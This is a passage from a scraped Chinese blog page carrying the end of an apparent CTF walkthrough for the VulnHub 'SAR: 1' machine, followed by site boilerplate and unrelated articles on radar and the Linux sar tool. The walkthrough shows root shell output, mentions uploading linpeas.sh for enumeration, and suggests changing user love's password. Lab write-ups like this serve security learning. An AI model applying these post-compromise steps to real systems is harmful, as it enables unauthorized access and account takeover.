uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# 

  
######if we use this solution ,look simply ,but it can run too!


other:upload linpeas.sh can get many infos

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

Change the user love’s password so we can login for fun!

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python文章来源地址https://www.toymoban.com/news/detail-537346.html

到了这里,关于SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • SAR成像系列:【1】合成孔径雷达(SAR)成像概述

    SAR成像系列:【1】合成孔径雷达(SAR)成像概述

    本系列主要介绍合成孔径雷达(SAR)成像的关键技术,帮助入门者更好的理解雷达成像原理及算法。 (1)雷达原理 雷达的英文式 Radar ,源于 Radio Detection and Ranging 的缩写,意思是“无线电探测和测距”。顾名思义初始雷达是为了探测目标距离和目标角度的。如下图所示,雷

    2024年02月02日
    浏览(10)
  • SAR成像系列:【15】合成孔径雷达(SAR)运动补偿

    SAR成像系列:【15】合成孔径雷达(SAR)运动补偿

           不同于光学图像,SAR图像的获取的本质是方位信号的累积结果,也就是说是在合成孔径时间内的电磁波照射结果。类似于光学成像中的延时拍照。通常使用手机拍照时,若拍照的手臂出现抖动,那么得到的照片就会变模糊。同样的现象也会出现在SAR图像中。SAR的成像

    2024年02月13日
    浏览(9)
  • SAR成像系列:【5】合成孔径雷达(SAR)成像算法-距离多普勒(RD)算法(附Matlab代码)

    SAR成像系列:【5】合成孔径雷达(SAR)成像算法-距离多普勒(RD)算法(附Matlab代码)

    完整的距离多普勒算法主要包括距离压缩、距离徙动矫正(矫正距离走动和距离弯曲)、方位压缩等步骤。其中距离走动矫正即可在时域进行也可在频域进行,而距离弯曲矫正一般在多普勒域进行。在距离多普勒域叫作RCMC是算法的主要特定,因此被称为“距离多普勒(RD)”

    2024年02月06日
    浏览(11)
  • SAR ADC工作原理

    SAR ADC工作原理

    SAR ADC有着电路结构简单的优势,其中的模拟模块只有采样开关和比较器,其余均为数字模块。这不仅使设计变得简单,更是与数字CMOS工艺有着非常好的兼容性。其工作原理也是十分简单,即采用二进制搜索算法对输入信号进行转换。 ​ 图1是一个差分输入的SAR ADC基本结构,

    2024年02月13日
    浏览(10)
  • SAR舰船数据集----SSDD

    SAR舰船数据集----SSDD

    数据集论文地址 SSDD官方下载地址 参考博客 数据制作:海军航空航天大学电子与信息工程系 1.1 基本特点 SSDD给予PASCAL VOC 的数据,使用在PASCAL VOC上的代码可以直接使用在SSDD上。 PASCAL VOC目标大概可以分成大中小三中目标, 而SSDD中多数为小目标 SSDD+的数据集相对于SSDD数据将

    2024年02月05日
    浏览(6)
  • 【Linux】sar常用选项介绍

    sar 使用 安装sysstat 选项 用法: sar [ 选项 ] [ 时间间隔 [ 次数 ] ] 选项: [ -A ] [ -B ] [ -b ] [ -C ] [ -D ] [ -d ] [ -F [ MOUNT ] ] [ -H ] [ -h ] [ -p ] [ -q ] [ -r [ ALL ] ] [ -S ] [ -t ] [ -u [ ALL ] ] [ -V ] [ -v ] [ -W ] [ -w ] [ -y ] [ -z ] [ -I { 中断列表 | SUM | ALL } ] [ -P { cpu_列表 | ALL } ] [ -m { [,…] | ALL

    2023年04月19日
    浏览(8)
  • SAR型ADC结构原理

    SAR型ADC结构原理

           SAR型 ADC,即逐次渐进逼近型 ADC,采用的是多次比较的方式来获得最终的输出结果,具有简单易用,功耗低的特点。下图这个结构可以帮助我们容易地理解SAR型 ADC的工作过程:         如上图,假设输入信号的伪代码为 45,ADC为一个 6位的 ADC,满量程输出为 63。

    2024年02月16日
    浏览(8)
  • 什么是合成孔径雷达(SAR)

    合成孔径雷达(Synthetic Aperture Radar,简称SAR)是一种 利用雷达技术实现地面成像 的系统。它 通过发射脉冲电磁波 并 接收反射回来的信号 ,从而 获取目标表面的反射信息 。相比于光学成像技术,SAR可以 在任何天气条件下获取高分辨率的地面图像 ,因此在遥感、军事侦察、

    2024年02月09日
    浏览(10)
  • 优化命令之sar——最牛命令

    优化命令之sar——最牛命令

    目录 一:sar命令概述 1.1sar概述 1.2sar常用选项 1.3常用参数 二:CPU资源监控 2.1整体CPU使用统计(-u) 2.2各个CPU使用统计(-P) 2.3将CPU使用情况保存到文件中  三:内存监控 3.1内存和交换空间监控 3.2内存分页监控 3.3系统交换活动信息监控  四:I/O和传送速率监控与磁盘使用情

    2024年02月03日
    浏览(9)
  • linux基础知识-sar详解

    linux基础知识-sar详解

    sar(System Activity Reporter系统活动情况报告)是目前Linux比较全的系统性能分析工具之一,可以从多方面对系统的活动进行报告 ,包括:文件的读写情况、系统调用的使用情况、磁盘I/O、CPU效率、内存使用状态、进程活动有IPC有关的活动等。 sar 还可以配置配置信息收集历史指标。

    2024年02月10日
    浏览(12)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包